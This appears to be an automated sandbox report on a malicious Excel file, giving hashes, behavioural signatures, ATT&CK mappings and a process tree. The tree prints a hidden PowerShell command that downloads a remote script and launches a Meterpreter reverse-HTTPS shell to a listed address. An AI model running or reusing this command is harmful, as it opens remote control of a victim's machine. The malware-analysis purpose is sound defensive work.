0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408

General

Target

0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408.xls
Size

44KB
MD5

7770cf4869f3f257d6c2d3748dd06e86
SHA1

1a337015605b91ada1464d586f8d15be8c851d33
SHA256

0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408
SHA512

5520e4c7bf1eb1dfd37b6b30f6f787976fc7c5a0ef53152680c7040d2a78f889d7ce7d026020544cddf1eed7d3e6b4ea6031234bcf89c4589ba2b6d69e570a82
SSDEEP

768:ptvo+hzsk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJliNWUuFSmQQcsrJ9acf9acyL:xak3hbdlylKsgqopeJBWhZFGkE+cL2NT

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2764	2668	powershell.exe	30
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2060	1620	wscript.exe	29

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	2764	powershell.exe
7	2764	powershell.exe
8	2548	powershell.exe
9	2548	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2764	powershell.exe
2548	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
7	raw.githubusercontent.com
8	raw.githubusercontent.com
9	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1620	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2764	powershell.exe
2548	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1620	EXCEL.EXE
1620	EXCEL.EXE
1620	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1620 wrote to memory of 2060	1620	EXCEL.EXE	33
PID 1620 wrote to memory of 2060	1620	EXCEL.EXE	33
PID 1620 wrote to memory of 2060	1620	EXCEL.EXE	33
PID 1620 wrote to memory of 2060	1620	EXCEL.EXE	33
PID 2060 wrote to memory of 2548	2060	wscript.exe	34
PID 2060 wrote to memory of 2548	2060	wscript.exe	34
PID 2060 wrote to memory of 2548	2060	wscript.exe	34
PID 2060 wrote to memory of 2548	2060	wscript.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408.xls
1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1620
- C:\Windows\SysWOW64\wscript.exe
  wscript C:\Users\Public\config.vbs
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QNRSF99ZSYOAXCB2DI6Y.temp

Filesize
7KB

MD5
4ad0fb9c4ce617144005fdf906d6b7e6

SHA1
ca87911a0d9b95525c5cb544772c640492f6523e

SHA256
7346ea1c95884989a7f55f24cacc884eb135787960cdab54d47aed0b720aa11e

SHA512
f6a8c4116639a82b64f92576a558125691b22a6429bf78c830694fd7ab0d00da178fa0c0874a43f34d4732da4d2292bc20cbdcf275a62c37ea0a9613066b701c

Download Submit
C:\Users\Public\config.vbs

Filesize
461B

MD5
ce52ab154163c511f0efa6a61e22ab64

SHA1
9f12cc215e15802eddcb02cb5370ef16b21fa3a6

SHA256
df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

SHA512
cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

Download Submit
memory/1620-37-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

Filesize
1024KB

Download
memory/1620-18-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

Filesize
1024KB

Download
memory/1620-39-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

Filesize
1024KB

Download
memory/1620-38-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

Filesize
1024KB

Download
memory/1620-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1620-17-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

Filesize
1024KB

Download
memory/1620-1-0x00000000728FD000-0x0000000072908000-memory.dmp

Filesize
44KB

Download
memory/1620-49-0x00000000728FD000-0x0000000072908000-memory.dmp

Filesize
44KB

Download
memory/1620-50-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

Filesize
1024KB

Download
memory/1620-51-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

Filesize
1024KB

Download
memory/1620-52-0x0000000006CF0000-0x0000000006DF0000-memory.dmp

Filesize
1024KB

Download
memory/2764-45-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2764-46-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download

Analysis

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